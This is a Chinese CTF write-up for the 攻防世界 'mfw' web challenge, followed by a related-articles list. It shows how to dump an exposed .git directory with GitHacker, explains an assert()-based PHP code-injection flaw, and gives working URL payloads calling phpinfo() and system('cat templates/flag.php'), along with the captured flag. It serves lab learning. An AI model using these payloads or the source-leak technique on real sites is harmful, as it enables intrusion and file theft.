打开之后发现有关于gif,php和bootstrap的信息,于是想到是不是又git源码

地址栏后面加.git

http://61.147.171.105:61123/.git/

发现存在git目录,使用kali的githacker下载,第一次使用需要安装

pip3 install GitHacker

githacker --url http://61.147.171.105:61123/ --output-folder 123

下载后得到目录文件

经查找只有index存在信息,打开index.php查看代码

<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>
<!DOCTYPE html>
<html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>My PHP Website</title><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" /></head><body><nav class="navbar navbar-inverse navbar-fixed-top"><div class="container"><div class="navbar-header">

关键代码段

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

分析:

assert("xxxxxxxx")函数表示截断,会直接运行其中xxxxx代码,如果xxxxx运行结果为true,则程序继续运行,如果返回false,则返回错误程度中断运行。

strpos函数表示strpos('$a', '$b')如果变量a中存在变量b,则返回true,否则返回false

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");//这个语句用于过滤..

or 和die的作用是如果assert函数执行正确的话,会返回true(这其实就

是“真”),后面的语句就不会执行了。如果assert函数执行失败,就会返回false,那么就会判断后面的表达式是否为真了。

结果执行了die()之后,不管返回什么,程序都已经停止执行了,并且显示指定的出错信息,也就达到了调试的目的。

根据此语句可以构造php代码注入

先用phpinfo试一下

http://61.147.171.105:61123/?page=’).phpinfo();//

使用system函数构造载荷

?page=').system('cat templates/flag.php');//

接在一起就是

assert("strpos(').system('cat templates/flag.php');//', '..') === false") or die("Detected hacking attempt!");

执行后打开flag.php

查看网站源码后得到flag

<!--?php $FLAG="cyberpeace{d98815545c367222f2e6db4cd679fe18}"; ?-->

思路参考自网上,有误请多指导

攻防世界mfw--详细笔记相关推荐

  1. 攻防世界[刷题笔记]之Web方向(练习区)(后半)

    网络安全学习 攻防世界[刷题笔记] Web方向(新手区)(后半) xff_referer webshell command_execution simple_js 小结 攻防世界[刷题笔记] Web方 ...

  2. 《攻防世界》学习笔记——web篇

    <攻防世界>学习笔记--web篇 01 Robots协议 02 BACKUP 03 Cookie 04 disabled_button(chrome游览器F12指南) 05 弱口令 06 ...

  3. 攻防世界-leaking-(详细操作)做题过程

    如有不对的地方,还请各位大佬指正.下面开始做题: 进入题目以后是一串代码,又是代码审计,很烦啊......哎.下面是需要了解的php函数含义: require()是php的内置函数,作用是引入或者包含 ...

  4. 攻防世界mfw解题wp

    开始点点点发现php源码,bootstrap写的,好像还有git备份,猜测git源码泄露 然后用dirbuster扫一下目录 python .\dirsearch.py -u "http:/ ...

  5. 攻防世界XCTF-MISC入门12题解题报告

    MISC属于CTF中的脑洞题,简直就是信息安全界的脑筋急转弯.你说它渣,它也有亮点,不好评说.这块最亮眼的入门题就属隐写术,出题人骚的狠.但是我感觉未来其中一个重点,就是大数据安全,从海量流量中捕获恶 ...

  6. 攻防世界XCTF-WEB入门12题解题报告

    WEB入门题比较适合信息安全专业大一学生,难度低上手快,套路基本都一样 需要掌握: 基本的PHP.Python.JS语法 基本的代理BurpSuite使用 基本的HTTP请求交互过程 基本的安全知识( ...

  7. 【ics-05 | mfw】攻防世界CTF题WP

    攻防世界CTF题WP ics-05 所需知识 解题步骤 学习知识 php伪协议(文件包含漏洞中使用) preg_place函数 mfw 所需知识 解题步骤 学习知识 Dirserach工具 GitHa ...

  8. 攻防世界warmup新人小白友好向详细解题过程

    攻防世界warmup新人小白详细解题过程 思路:查看网页源码发现提示信息,/source.php 进行代码审计 ,主要函数找出,PHP函数记住,自己构造PAYLOAD 声明:菜菜级的水平,解析有错的不 ...

  9. 攻防世界forgot——让人眼花目眩的一道题(详细菜鸡向)

    攻防世界forgot--让人眼花目眩的一道题 今天做了一道攻防世界的进阶题,看起来复杂的一匹,但是实际上也就这吧 (随手关掉刚刚百度到的wp [doge]),做完后最直观的感受就是自己的代码阅读能力还 ...

  10. 攻防世界writeup

    攻防世界writeup 前言 web 新手练习 view_source get_post robots backup cookie disabled_button simple_js xff_refe ...

最新文章

  1. 【CF EDU59 E】 Vasya and Binary String (DP)
  2. Logstash(三)filter插件简介
  3. openwrt使用3G上网卡
  4. c语言#include后的尖括号和双引号有什么区别?
  5. Linux网络编程之select
  6. redis key设计技巧
  7. (教学思路 C#之类五)类的分类(静态类、实例类、嵌套类、结构、简单的抽象类、简单的密封类)...
  8. 外设驱动库开发笔记29:DS17887实时时钟驱动
  9. python系统编程模块_Python系统进程管理模块
  10. CentOS镜像中替换安装镜像的小系统的内核方法
  11. 根据后台日志文件查找错误_linux中find命令根据文件类型来查找
  12. VC dll依赖性查看工具depends
  13. Rainmeter音频频谱插件分享
  14. 计算机和影视结合专业,计算机专业专业建设总结与典型案例2.5微电影拍摄与后期制作(影视拍摄与后期制作技术)课....
  15. Kafka SSL 和 ACL 配置
  16. python证书考试报名时间,python证书考试报名条件
  17. 地理坐标系与投影坐标系的区别以及投影变换与定义投影的区别
  18. DA LAO:SpringBoot讲述 快速构建微服务体系。
  19. 中国科学院朱清时:量子意识(人人能懂版)
  20. HTML5--制作导航栏

热门文章

  1. 2021-10-18记录 MediaTek MT7620A 平台对应的类型
  2. 向量的数量函数的导数
  3. 两部苹果手机同步照片_如何将旧苹果手机音乐里面的歌曲同步到新苹果手机上...
  4. 追捕文件WRY.DLL的浅显分析及程序示例
  5. zoj 2480 Simplest Task in Windows(水~)
  6. python获取文字坐标_python坐标获取
  7. 基于Java(SSM)+MySQL的二手书籍交易系统【100010084】
  8. 360 android系统 流量,360流量卫士 for Android
  9. 皇后游戏c语言,C语言中关于4皇后或8皇后问题!
  10. 如何裁剪动图大小?试试这个在线照片裁剪工具